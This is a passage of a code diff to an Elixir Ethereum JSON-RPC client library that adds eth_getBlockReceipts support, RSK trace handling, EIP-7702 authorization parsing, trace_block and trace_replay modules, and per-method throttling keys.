"Not Found"}} end - defp response_to_receipt(%{id: id, result: receipt}, id_to_transaction_params) do + defp modify_response(%{id: id, result: nil}, request_ids) when is_list(request_ids) do + {:error, %{code: -32602, data: id, message: "Not Found"}} + end + + defp modify_response(%{id: id, result: receipt}, id_to_transaction_params) when is_map(id_to_transaction_params) do %{gas: gas} = Map.fetch!(id_to_transaction_params, id) # gas from the transaction is needed for pre-Byzantium derived status {:ok, Map.put(receipt, "gas", gas)} end - defp response_to_receipt(%{id: id, error: reason}, id_to_transaction_params) do + # The list of receipts is returned by `eth_getBlockReceipts` + defp modify_response(%{id: id, result: receipts}, request_ids) when is_list(receipts) and is_list(request_ids) do + receipts_with_gas = + Enum.map(receipts, fn receipt -> + check_equivalence(Map.fetch!(receipt, "blockNumber"), id) + Map.put(receipt, "gas", 0) + end) + + {:ok, receipts_with_gas} + end + + defp modify_response(%{id: id, error: reason}, id_to_transaction_params) when is_map(id_to_transaction_params) do data = Map.fetch!(id_to_transaction_params, id) annotated_reason = Map.put(reason, :data, data) {:error, annotated_reason} end - defp reduce_responses(responses, id_to_transaction_params) - when is_list(responses) and is_map(id_to_transaction_params) do + defp modify_response(%{id: id, error: reason}, request_ids) when is_list(request_ids) do + annotated_reason = Map.put(reason, :data, id) + {:error, annotated_reason} + end + + # Verifies that a block number matches the request ID + @spec check_equivalence(EthereumJSONRPC.block_number() | EthereumJSONRPC.quantity(), EthereumJSONRPC.request_id()) :: + true + defp check_equivalence(block_number, id) when is_integer(block_number) and is_integer(id) do + true = block_number == id + end + + defp check_equivalence(block_number, id) when is_binary(block_number) and is_integer(id) do + true = quantity_to_integer(block_number) == id + end + + # Processes a batch of JSON-RPC responses by performing a series of transformations + # to standardize their structure. + # + # Ensures that each response has a valid ID, assigning unmatched IDs to responses + # with missing IDs. Adjusts each response by extending error data with relevant + # request details or adding extra fields when needed. Combines individual + # responses into a unified format, returning either a successful or error tuple + # with a list of responses. + # + # ## Parameters + # - `responses`: List of JSON-RPC responses for transaction receipts + # - `id_to_transaction_params`: A map or a list enumerating elements with request IDs + # + # ## Returns + # - `{:ok, receipts}` with list of successfully processed receipts + # - `{:error, reasons}` with list of error reasons if any receipt failed + @spec process_responses( + EthereumJSONRPC.Transport.batch_response(), + %{ + EthereumJSONRPC.request_id() => %{ + :gas => non_neg_integer(), + optional(atom()) => any() + } + } + | [EthereumJSONRPC.request_id()] + ) :: {:ok, [map()]} | {:error, [map()]} + defp process_responses(responses, elements_with_ids) when is_list(responses) do responses - |> Stream.map(&response_to_receipt(&1, id_to_transaction_params)) - |> Enum.reduce({:ok, []}, &reduce_receipt(&1, &2)) + |> EthereumJSONRPC.sanitize_responses(elements_with_ids) + |> Stream.map(&modify_response(&1, elements_with_ids)) + |> Enum.reduce({:ok, []}, &harmonize_responses(&1, &2)) end - defp reduce_receipt({:ok, receipt}, {:ok, receipts}) when is_list(receipts), - do: {:ok, [receipt | receipts]} + # Combines receipt responses while preserving error state. Successfully processed + # receipts are accumulated in a list. If any error occurs, switches to error mode and + # collects error reasons, discarding all successful receipts. + # + # ## Parameters + # - `response`: Current response tuple containing either: + # - `{:ok, map_or_list}`: Successfully processed receipt or list of receipts + # - `{:error, reason}`: Error with reason + # - `acc`: Accumulator tuple containing either: + # - `{:ok, raw_receipts}`: List of successful receipts + # - `{:error, reasons}`: List of error reasons + # + # ## Returns + # - `{:ok, receipts}`: List with new receipt prepended if no errors + # - `{:error, reasons}`: List of error reasons if any error occurred + @spec harmonize_responses( + {:ok, map() | [map()]} | {:error, map()}, + {:ok, [map()]} | {:error, [map()]} + ) :: {:ok, [map()]} | {:error, [map()]} + defp harmonize_responses(response, acc) + + defp harmonize_responses({:ok, raw_modified_receipt}, {:ok, raw_receipts}) + when is_map(raw_modified_receipt) and is_list(raw_receipts), + do: {:ok, [raw_modified_receipt | raw_receipts]} + + # The list of receipts is returned by `eth_getBlockReceipts` + defp harmonize_responses({:ok, raw_modified_receipts}, {:ok, raw_receipts}) + when is_list(raw_modified_receipts) and is_list(raw_receipts), + do: {:ok, raw_modified_receipts ++ raw_receipts} - defp reduce_receipt({:ok, _}, {:error, _} = error), do: error - defp reduce_receipt({:error, reason}, {:ok, _}), do: {:error, [reason]} - defp reduce_receipt({:error, reason}, {:error, reasons}) when is_list(reasons), do: {:error, [reason | reasons]} + defp harmonize_responses({:ok, _}, {:error, _} = error), do: error + defp harmonize_responses({:error, reason}, {:ok, _}), do: {:error, [reason]} + defp harmonize_responses({:error, reason}, {:error, reasons}) when is_list(reasons), do: {:error, [reason | reasons]} end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts/by_block_number.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts/by_block_number.ex new file mode 100644 index 000000000000..0207976aaa68 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts/by_block_number.ex @@ -0,0 +1,33 @@ +defmodule EthereumJSONRPC.Receipts.ByBlockNumber do + @moduledoc """ + Provides functionality to compose JSON-RPC requests for fetching Ethereum block receipts by the block number. + """ + + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + alias EthereumJSONRPC.Transport + + @doc """ + Creates a request to fetch all transaction receipts for a block using + `eth_getBlockReceipts`. + + ## Parameters + - `map`: A map containing: + - `id`: Request identifier + - `number`: Block number as integer or hex string + + ## Returns + - A JSON-RPC request map for `eth_getBlockReceipts` + """ + @spec request(%{id: EthereumJSONRPC.request_id(), number: EthereumJSONRPC.block_number() | EthereumJSONRPC.quantity()}) :: + Transport.request() + def request(%{id: id, number: number}) when is_integer(number) do + block_number = integer_to_quantity(number) + + EthereumJSONRPC.request(%{id: id, method: "eth_getBlockReceipts", params: [block_number]}) + end + + def request(%{id: id, number: number}) when is_binary(number) do + EthereumJSONRPC.request(%{id: id, method: "eth_getBlockReceipts", params: [number]}) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts/by_transaction_hash.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts/by_transaction_hash.ex new file mode 100644 index 000000000000..1796607cf12a --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/receipts/by_transaction_hash.ex @@ -0,0 +1,22 @@ +defmodule EthereumJSONRPC.Receipts.ByTransactionHash do + @moduledoc """ + Provides functionality to compose JSON-RPC requests for fetching Ethereum transaction receipt by the transaction hash. + """ + + alias EthereumJSONRPC.Transport + + @doc """ + Creates a request to fetch a transaction receipt by its hash using `eth_getTransactionReceipt`. + + ## Parameters + - `id`: Request identifier + - `transaction_hash`: Hash of the transaction to fetch the receipt for + + ## Returns + - A JSON-RPC request map for `eth_getTransactionReceipt` + """ + @spec request(EthereumJSONRPC.request_id(), EthereumJSONRPC.hash()) :: Transport.request() + def request(id, transaction_hash) when is_integer(id) and is_binary(transaction_hash) do + EthereumJSONRPC.request(%{id: id, method: "eth_getTransactionReceipt", params: [transaction_hash]}) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/request_coordinator.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/request_coordinator.ex index bd491f25fd7f..77ee7d3906bd 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/request_coordinator.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/request_coordinator.ex @@ -16,11 +16,11 @@ defmodule EthereumJSONRPC.RequestCoordinator do * `:table` - name of the ets table to store the data in * `:wait_per_timeout` - Milliseconds to wait for each recent timeout within the tracked window - * `:max_jitter` - Maximimum amount of time in milliseconds to be added to each + * `:max_jitter` - Maximum amount of time in milliseconds to be added to each wait before multiplied by timeout count * `:throttle_rolling_window_opts` - Options for the process tracking all requests * `:window_count` - Number of windows - * `:duration` - Total amount of time to coumt events in milliseconds + * `:duration` - Total amount of time to count events in milliseconds * `:table` - name of the ets table to store the data in * `:throttle_rate_limit` - The total number of requests allowed in the all windows. @@ -58,7 +58,7 @@ defmodule EthereumJSONRPC.RequestCoordinator do alias EthereumJSONRPC.{RollingWindow, Tracer, Transport} - @error_key :throttleable_error_count + @error_key_base "throttleable_error_count" @throttle_key :throttle_requests_count @doc """ @@ -73,7 +73,9 @@ defmodule EthereumJSONRPC.RequestCoordinator do @spec perform(Transport.batch_request(), Transport.t(), Transport.options(), non_neg_integer()) :: {:ok, Transport.batch_response()} | {:error, term()} def perform(request, transport, transport_options, throttle_timeout) do - sleep_time = sleep_time() + request_method = request_method(request) + + sleep_time = sleep_time(request_method) if sleep_time <= throttle_timeout do :timer.sleep(sleep_time) @@ -81,10 +83,11 @@ defmodule EthereumJSONRPC.RequestCoordinator do case throttle_request(remaining_wait_time) do :ok -> + # credo:disable-for-next-line trace_request(request, fn -> request |> transport.json_rpc(transport_options) - |> handle_transport_response() + |> handle_transport_response(request_method) end) :error -> @@ -109,19 +112,24 @@ defmodule EthereumJSONRPC.RequestCoordinator do defp trace_request(_, fun), do: fun.() - defp handle_transport_response({:error, {:bad_gateway, _}} = error) do - RollingWindow.inc(table(), @error_key) + defp request_method([request | _]), do: request_method(request) + defp request_method(%{method: method}), do: method + defp request_method(_), do: nil + + defp handle_transport_response({:error, {error_type, _}} = error, method) + when error_type in [:bad_gateway, :bad_response] do + RollingWindow.inc(table(), method_error_key(method)) inc_throttle_table() error end - defp handle_transport_response({:error, :timeout} = error) do - RollingWindow.inc(table(), @error_key) + defp handle_transport_response({:error, :timeout} = error, method) do + RollingWindow.inc(table(), method_error_key(method)) inc_throttle_table() error end - defp handle_transport_response(response) do + defp handle_transport_response(response, _method) do inc_throttle_table() response end @@ -153,14 +161,16 @@ defmodule EthereumJSONRPC.RequestCoordinator do end end - defp sleep_time do - wait_coefficient = RollingWindow.count(table(), @error_key) + defp sleep_time(request_method) do + wait_coefficient = RollingWindow.count(table(), method_error_key(request_method)) jitter = :rand.uniform(config!(:max_jitter)) wait_per_timeout = config!(:wait_per_timeout) wait_coefficient * (wait_per_timeout + jitter) end + defp method_error_key(method), do: :"#{@error_key_base}_#{method}" + defp table do :rolling_window_opts |> config!() diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rolling_window.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rolling_window.ex index 0b2c6b959462..65657e7b92c5 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rolling_window.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rolling_window.ex @@ -21,8 +21,6 @@ defmodule EthereumJSONRPC.RollingWindow do use GenServer - require Logger - def child_spec([init_arguments]) do child_spec([init_arguments, []]) end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk.ex new file mode 100644 index 000000000000..baff2def36f8 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk.ex @@ -0,0 +1,25 @@ +defmodule EthereumJSONRPC.RSK do + @moduledoc """ + Ethereum JSONRPC methods that are/are not supported by [RSK](https://www.rsk.co/). + """ + + alias EthereumJSONRPC.RSK.Traces + alias EthereumJSONRPC.{Geth, TraceBlock} + + @behaviour EthereumJSONRPC.Variant + + def fetch_internal_transactions(_transaction_params, _json_rpc_named_arguments), do: :ignore + + def fetch_pending_transactions(_), do: :ignore + + def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) do + TraceBlock.fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments, Traces) + end + + def fetch_beneficiaries(_, _), do: :ignore + def fetch_first_trace(_transactions_params, _json_rpc_named_arguments), do: :ignore + + def fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) do + Geth.fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk/trace.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk/trace.ex new file mode 100644 index 000000000000..3a765132493e --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk/trace.ex @@ -0,0 +1,21 @@ +defmodule EthereumJSONRPC.RSK.Trace do + @moduledoc """ + Trace returned by + [`trace_block`](https://dev.rootstock.io/rsk/node/architecture/json-rpc/#json-rpc-supported). + """ + + alias EthereumJSONRPC.Besu.Trace, as: BesuTrace + alias EthereumJSONRPC.Nethermind.Trace, as: NethermindTrace + + def elixir_to_params(elixir) do + NethermindTrace.elixir_to_params(elixir) + end + + def to_elixir(trace) do + {transaction_index, trace_no_tp} = Map.pop(trace, "transactionPosition") + + trace_no_tp + |> Map.put("transactionIndex", transaction_index) + |> BesuTrace.to_elixir() + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk/traces.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk/traces.ex new file mode 100644 index 000000000000..f74eef343c58 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/rsk/traces.ex @@ -0,0 +1,16 @@ +defmodule EthereumJSONRPC.RSK.Traces do + @moduledoc """ + Traces returned by + [`trace_block`](https://dev.rootstock.io/rsk/node/architecture/json-rpc/#json-rpc-supported). + """ + + alias EthereumJSONRPC.RSK.Trace + + def elixir_to_params(elixir) when is_list(elixir) do + Enum.map(elixir, &Trace.elixir_to_params/1) + end + + def to_elixir(traces) when is_list(traces) do + Enum.map(traces, &Trace.to_elixir/1) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/signed_authorization.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/signed_authorization.ex new file mode 100644 index 000000000000..47daee35a735 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/signed_authorization.ex @@ -0,0 +1,58 @@ +defmodule EthereumJSONRPC.SignedAuthorization do + @moduledoc """ + The format of authorization tuples returned for + set code transactions [EIP-7702](https://eips.ethereum.org/EIPS/eip-7702). + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + @typedoc """ + * `"chainId"` - specifies the chain for which the authorization was created `t:EthereumJSONRPC.quantity/0`. + * `"address"` - `t:EthereumJSONRPC.address/0` of the delegate contract. + * `"nonce"` - signature nonce `t:EthereumJSONRPC.quantity/0`. + * `"v"` or `"yParity"` - v component of the signature `t:EthereumJSONRPC.quantity/0`. + * `"r"` - r component of the signature `t:EthereumJSONRPC.quantity/0`. + * `"s"` - s component of the signature `t:EthereumJSONRPC.quantity/0`. + """ + @type t :: %{ + String.t() => EthereumJSONRPC.address() | EthereumJSONRPC.quantity() + } + + @typedoc """ + * `"chain_id"` - specifies the chain for which the authorization was created. + * `"address"` - address of the delegate contract. + * `"nonce"` - signature nonce. + * `"v"` - v component of the signature. + * `"r"` - r component of the signature. + * `"s"` - s component of the signature. + """ + @type params :: %{ + chain_id: non_neg_integer(), + address: EthereumJSONRPC.address(), + nonce: non_neg_integer(), + r: non_neg_integer(), + s: non_neg_integer(), + v: non_neg_integer() + } + + @doc """ + Converts a signed authorization map into its corresponding parameters map format. + + ## Parameters + - `raw`: Map with signed authorization data. + + ## Returns + - Parameters map in the `params()` format. + """ + @spec to_params(t()) :: params() + def to_params(raw) do + %{ + chain_id: quantity_to_integer(raw["chainId"]), + address: raw["address"], + nonce: quantity_to_integer(raw["nonce"]), + r: quantity_to_integer(raw["r"]), + s: quantity_to_integer(raw["s"]), + v: quantity_to_integer(raw["v"] || raw["yParity"]) + } + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/trace_block.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/trace_block.ex new file mode 100644 index 000000000000..2192962c0ffb --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/trace_block.ex @@ -0,0 +1,91 @@ +defmodule EthereumJSONRPC.TraceBlock do + @moduledoc """ + Functions for processing the data from `trace_block` JSON RPC method. + """ + + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] + + @spec fetch_block_internal_transactions( + [non_neg_integer()], + EthereumJSONRPC.json_rpc_named_arguments(), + EthereumJSONRPC.RSK.Traces + ) :: {:error, any} | {:ok, any} + def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments, traces_module) do + id_to_params = id_to_params(block_numbers) + + with {:ok, responses} <- + id_to_params + |> trace_block_requests() + |> json_rpc(json_rpc_named_arguments) do + trace_block_responses_to_internal_transactions_params(responses, id_to_params, traces_module) + end + end + + defp trace_block_requests(id_to_params) when is_map(id_to_params) do + Enum.map(id_to_params, fn {id, block_number} -> + trace_block_request(%{id: id, block_number: block_number}) + end) + end + + defp trace_block_request(%{id: id, block_number: block_number}) do + request(%{id: id, method: "trace_block", params: [integer_to_quantity(block_number)]}) + end + + defp trace_block_responses_to_internal_transactions_params(responses, id_to_params, traces_module) do + with {:ok, traces} <- trace_block_responses_to_traces(responses, id_to_params) do + params = + traces + |> traces_module.to_elixir() + |> traces_module.elixir_to_params() + + {:ok, params} + end + end + + defp trace_block_responses_to_traces(responses, id_to_params) do + responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.map(&trace_block_response_to_traces(&1, id_to_params)) + |> Enum.group_by(&elem(&1, 0), &elem(&1, 1)) + |> case do + %{error: reasons} -> + {:error, reasons} + + %{ok: traces_list} -> + traces = + traces_list + |> List.flatten() + + {:ok, traces} + + %{} -> + {:ok, []} + end + end + + defp trace_block_response_to_traces(%{result: results}, _id_to_params) + when is_list(results) do + annotated_traces = + results + |> Enum.scan(%{"index" => -1}, fn trace, %{"index" => internal_transaction_index} -> + internal_transaction_index = if trace["traceAddress"] == [], do: 0, else: internal_transaction_index + 1 + + trace + |> Map.put("index", internal_transaction_index) + end) + + {:ok, annotated_traces} + end + + defp trace_block_response_to_traces(%{id: id, error: error}, id_to_params) + when is_map(id_to_params) do + block_number = Map.fetch!(id_to_params, id) + + annotated_error = + Map.put(error, :data, %{ + "blockNumber" => block_number + }) + + {:error, annotated_error} + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/trace_replay_block_transactions.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/trace_replay_block_transactions.ex new file mode 100644 index 000000000000..c3aeb291ed44 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/trace_replay_block_transactions.ex @@ -0,0 +1,290 @@ +defmodule EthereumJSONRPC.TraceReplayBlockTransactions do + @moduledoc """ + Methods for processing the data from `trace_replayTransaction` and `trace_replayBlockTransactions` JSON RPC methods + """ + require Logger + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] + + def fetch_first_trace(transactions_params, json_rpc_named_arguments, traces_module) + when is_list(transactions_params) do + id_to_params = id_to_params(transactions_params) + + trace_replay_transaction_response = + id_to_params + |> trace_replay_transaction_requests() + |> json_rpc(json_rpc_named_arguments) + + case trace_replay_transaction_response do + {:ok, responses} -> + case trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params, traces_module) do + {:ok, [first_trace]} -> + %{block_hash: block_hash} = + transactions_params + |> Enum.at(0) + + {:ok, + [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} + + {:error, error} -> + Logger.error(inspect(error)) + {:error, error} + end + + {:error, :econnrefused} -> + {:error, :econnrefused} + + {:error, [error]} -> + Logger.error(inspect(error)) + {:error, error} + end + end + + def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments, traces_module) + when is_list(block_numbers) do + id_to_params = id_to_params(block_numbers) + + with {:ok, responses} <- + id_to_params + |> trace_replay_block_transactions_requests() + |> json_rpc(json_rpc_named_arguments) do + trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params, traces_module) + end + end + + @doc """ + Fetches the raw traces of transaction by `trace_replayTransaction` JSON RPC method. + """ + @spec fetch_transaction_raw_traces(map(), EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, [map()]} | {:error, any()} + def fetch_transaction_raw_traces(%{hash: transaction_hash}, json_rpc_named_arguments) do + request = trace_replay_transaction_request(%{id: 0, hash_data: to_string(transaction_hash)}) + + case json_rpc(request, json_rpc_named_arguments) do + {:ok, response} -> + {:ok, Map.get(response, "trace", [])} + + {:error, error} -> + Logger.error(inspect(error)) + {:error, error} + end + end + + defp trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params, traces_module) + when is_list(responses) and is_map(id_to_params) do + with {:ok, traces} <- trace_replay_block_transactions_responses_to_traces(responses, id_to_params) do + params = + traces + |> traces_module.to_elixir() + |> traces_module.elixir_to_params() + + {:ok, params} + end + end + + defp trace_replay_block_transactions_responses_to_traces(responses, id_to_params) + when is_list(responses) and is_map(id_to_params) do + responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.map(&trace_replay_block_transactions_response_to_traces(&1, id_to_params)) + |> Enum.reduce( + {:ok, []}, + fn + {:ok, traces}, {:ok, acc_traces_list} -> + {:ok, [traces | acc_traces_list]} + + {:ok, _}, {:error, _} = acc_error -> + acc_error + + {:error, reason}, {:ok, _} -> + {:error, [reason]} + + {:error, reason}, {:error, acc_reason} -> + {:error, [reason | acc_reason]} + end + ) + |> case do + {:ok, traces_list} -> + traces = + traces_list + |> Enum.reverse() + |> List.flatten() + + {:ok, traces} + + {:error, reverse_reasons} -> + reasons = Enum.reverse(reverse_reasons) + {:error, reasons} + end + end + + defp trace_replay_block_transactions_response_to_traces(%{id: id, result: results}, id_to_params) + when is_list(results) and is_map(id_to_params) do + block_number = Map.fetch!(id_to_params, id) + + annotated_traces = + results + |> Stream.with_index() + |> Enum.flat_map(fn {%{"trace" => traces, "transactionHash" => transaction_hash}, transaction_index} -> + traces + |> Stream.with_index() + |> Enum.map(fn {trace, index} -> + Map.merge(trace, %{ + "blockNumber" => block_number, + "transactionHash" => transaction_hash, + "transactionIndex" => transaction_index, + "index" => index + }) + end) + end) + + {:ok, annotated_traces} + end + + defp trace_replay_block_transactions_response_to_traces(%{id: id, error: error}, id_to_params) + when is_map(id_to_params) do + block_number = Map.fetch!(id_to_params, id) + + annotated_error = + Map.put(error, :data, %{ + "blockNumber" => block_number + }) + + {:error, annotated_error} + end + + defp trace_replay_block_transactions_requests(id_to_params) when is_map(id_to_params) do + Enum.map(id_to_params, fn {id, block_number} -> + trace_replay_block_transactions_request(%{id: id, block_number: block_number}) + end) + end + + defp trace_replay_block_transactions_request(%{id: id, block_number: block_number}) do + request(%{id: id, method: "trace_replayBlockTransactions", params: [integer_to_quantity(block_number), ["trace"]]}) + end + + defp trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params, traces_module) + when is_list(responses) and is_map(id_to_params) do + with {:ok, traces} <- trace_replay_transaction_responses_to_first_trace(responses, id_to_params) do + params = + traces + |> traces_module.to_elixir() + |> traces_module.elixir_to_params() + + {:ok, params} + end + end + + defp trace_replay_transaction_responses_to_first_trace(responses, id_to_params) + when is_list(responses) and is_map(id_to_params) do + responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.map(&trace_replay_transaction_response_to_first_trace(&1, id_to_params)) + |> Enum.reduce( + {:ok, []}, + fn + {:ok, traces}, {:ok, acc_traces_list} -> + {:ok, [traces | acc_traces_list]} + + {:ok, _}, {:error, _} = acc_error -> + acc_error + + {:error, reason}, {:ok, _} -> + {:error, [reason]} + + {:error, reason}, {:error, acc_reason} -> + {:error, [reason | acc_reason]} + end + ) + |> case do + {:ok, traces_list} -> + traces = + traces_list + |> Enum.reverse() + |> List.flatten() + + {:ok, traces} + + {:error, reverse_reasons} -> + reasons = Enum.reverse(reverse_reasons) + {:error, reasons} + end + end + + defp trace_replay_transaction_response_to_first_trace(%{id: id, result: %{"trace" => traces}}, id_to_params) + when is_list(traces) and is_map(id_to_params) do + %{ + block_hash: block_hash, + block_number: block_number, + hash_data: transaction_hash, + transaction_index: transaction_index + } = Map.fetch!(id_to_params, id) + + first_trace = + traces + |> Stream.with_index() + |> Enum.map(fn {trace, index} -> + Map.merge(trace, %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "index" => index, + "transactionIndex" => transaction_index, + "transactionHash" => transaction_hash + }) + end) + |> Enum.filter(fn trace -> + Map.get(trace, "index") == 0 + end) + + {:ok, first_trace} + end + + defp trace_replay_transaction_response_to_first_trace(%{id: id, error: error}, id_to_params) + when is_map(id_to_params) do + %{ + block_hash: block_hash, + block_number: block_number, + hash_data: transaction_hash, + transaction_index: transaction_index + } = Map.fetch!(id_to_params, id) + + annotated_error = + Map.put(error, :data, %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "transactionIndex" => transaction_index, + "transactionHash" => transaction_hash + }) + + {:error, annotated_error} + end + + defp trace_replay_transaction_response_to_first_trace(%{id: id, result: error_result}, id_to_params) + when is_map(id_to_params) do + %{ + block_hash: block_hash, + block_number: block_number, + hash_data: transaction_hash, + transaction_index: transaction_index + } = Map.fetch!(id_to_params, id) + + annotated_error = %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "transactionIndex" => transaction_index, + "transactionHash" => transaction_hash, + "result" => error_result + } + + {:error, annotated_error} + end + + defp trace_replay_transaction_requests(id_to_params) when is_map(id_to_params) do + Enum.map(id_to_params, fn {id, %{hash_data: hash_data}} -> + trace_replay_transaction_request(%{id: id, hash_data: hash_data}) + end) + end + + defp trace_replay_transaction_request(%{id: id, hash_data: hash_data}) do + request(%{id: id, method: "trace_replayTransaction", params: [hash_data, ["trace"]]}) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transaction.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transaction.ex index 7bfd7b76c037..81c772dc8e2f 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transaction.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transaction.ex @@ -1,20 +1,99 @@ defmodule EthereumJSONRPC.Transaction do @moduledoc """ Transaction format included in the return of - [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) - and [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbynumber) and returned by - [`eth_getTransactionByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionbyhash), - [`eth_getTransactionByBlockHashAndIndex`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionbyblockhashandindex), - and [`eth_getTransactionByBlockNumberAndIndex`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionbyblocknumberandindex) + [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbyhash) + and [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbynumber) and returned by + [`eth_getTransactionByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionbyhash), + [`eth_getTransactionByBlockHashAndIndex`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionbyblockhashandindex), + and [`eth_getTransactionByBlockNumberAndIndex`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionbyblocknumberandindex) """ - require Logger + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - import EthereumJSONRPC, only: [quantity_to_integer: 1, integer_to_quantity: 1, request: 1] + import EthereumJSONRPC, + only: [ + quantity_to_integer: 1, + integer_to_quantity: 1, + request: 1, + put_if_present: 3 + ] alias EthereumJSONRPC + alias EthereumJSONRPC.SignedAuthorization + + case @chain_type do + :ethereum -> + @chain_type_fields quote( + do: [ + max_fee_per_blob_gas: non_neg_integer(), + blob_versioned_hashes: [EthereumJSONRPC.hash()] + ] + ) + + :optimism -> + @chain_type_fields quote( + do: [ + l1_transaction_origin: EthereumJSONRPC.hash(), + l1_block_number: non_neg_integer() + ] + ) + + :scroll -> + @chain_type_fields quote( + do: [ + queue_index: non_neg_integer() + ] + ) + + :suave -> + @chain_type_fields quote( + do: [ + execution_node_hash: EthereumJSONRPC.address(), + wrapped_type: non_neg_integer(), + wrapped_nonce: non_neg_integer(), + wrapped_to_address_hash: EthereumJSONRPC.address(), + wrapped_gas: non_neg_integer(), + wrapped_gas_price: non_neg_integer(), + wrapped_max_priority_fee_per_gas: non_neg_integer(), + wrapped_max_fee_per_gas: non_neg_integer(), + wrapped_value: non_neg_integer(), + wrapped_input: String.t(), + wrapped_v: non_neg_integer(), + wrapped_r: non_neg_integer(), + wrapped_s: non_neg_integer(), + wrapped_hash: EthereumJSONRPC.hash() + ] + ) + + :celo -> + @chain_type_fields quote( + do: [ + gas_token_contract_address_hash: EthereumJSONRPC.address(), + gas_fee_recipient_address_hash: EthereumJSONRPC.address(), + gateway_fee: non_neg_integer() + ] + ) + + :arbitrum -> + @chain_type_fields quote( + do: [ + request_id: EthereumJSONRPC.hash() + ] + ) + + _ -> + @chain_type_fields quote(do: []) + end + # todo: Check if it's possible to simplify by avoiding t -> elixir -> params conversions + # and directly convert t -> params. @type elixir :: %{ - String.t() => EthereumJSONRPC.address() | EthereumJSONRPC.hash() | String.t() | non_neg_integer() | nil + String.t() => + EthereumJSONRPC.address() + | EthereumJSONRPC.hash() + | String.t() + | non_neg_integer() + | [SignedAuthorization.params()] + | nil } @typedoc """ @@ -44,13 +123,43 @@ defmodule 